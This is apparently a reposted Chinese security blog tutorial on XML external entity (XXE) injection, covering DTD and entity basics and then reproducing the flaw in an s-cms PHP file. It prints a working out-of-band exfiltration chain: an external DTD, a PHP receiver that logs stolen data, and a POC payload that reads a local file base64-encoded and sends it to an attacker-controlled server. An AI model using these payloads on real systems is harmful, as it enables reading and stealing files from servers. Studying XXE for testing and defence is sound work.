XXE实体注入

admin 2023年7月31日11:13:12评论20 views字数 1553阅读5分10秒阅读模式

要了解xxe首先要了解一下基础知识

先了解xml:

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素  

XXE实体注入

xml结构:

    1,元素

    2,属性

    3,实体

    4,PCDATA

    5,  CDATA

DTD(文档定义类型):

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

    1,内部声明

        <!DOCTYPE 根元素 [元素声明]> 例如:

        

XXE实体注入

    2,外部声明(引用外部DTD)

        <!DOCTYPE 根元素 SYSTEM "文件名"> 例如:

        

XXE实体注入

而note.dtd内容为

XXE实体注入

实体的分类:

实体又分为一般实体和参数实体
1,一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:<!ENTITY % 实体名 "实体内容“>
引用实体的方式:%实体名;

DTD实体在攻击中的作用:

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件

xxe漏洞:

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

<!ENTITY实体名称 SYSTEM “URI/URL”>

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示

XXE实体注入


漏洞复现s-cms.med.php_0726:

XXE实体注入

发现simplexml_load_string函数那马就可能存在xxe

我们先本地测试读取电脑文件

当我们请求电脑中不存在的文件时会报错

XXE实体注入

而当我们请求电脑中存在的文件时不会报错

XXE实体注入

这时我们就肯定这个cms存在xxe漏洞

很多时候后端语言解析了XML后其实并不会给你输出,我们想要读取的文件也就看不到了

这时我们可以在自己的公网服务器上放一个2.php文件

<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

和1.xml文件

<!ENTITY % all"<!ENTITY &#x25; send SYSTEM 'http://192.168.222.128/2.php?id=%file;'>">%all;

我们可以先访问目标文件然后引用1.xml而这时候1.xml会去访问2.php并且id赋值为读取的内容,而2.php会将id的内容值写到3.txt,我们可以访问3.txt得到目标

POC:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM"php://filter/read=convert.base64-encode/resource=c:/1.txt">

<!ENTITY % remote SYSTEM "http://X.X.X.X/xxe/1.xml">

%remote;

%send;

]>

XXE实体注入



base64 解密:

XXE实体注入




原文始发于微信公众号(是恒恒呐):XXE实体注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月31日11:13:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE实体注入http://cn-sec.com/archives/951837.html

发表评论

匿名网友 填写信息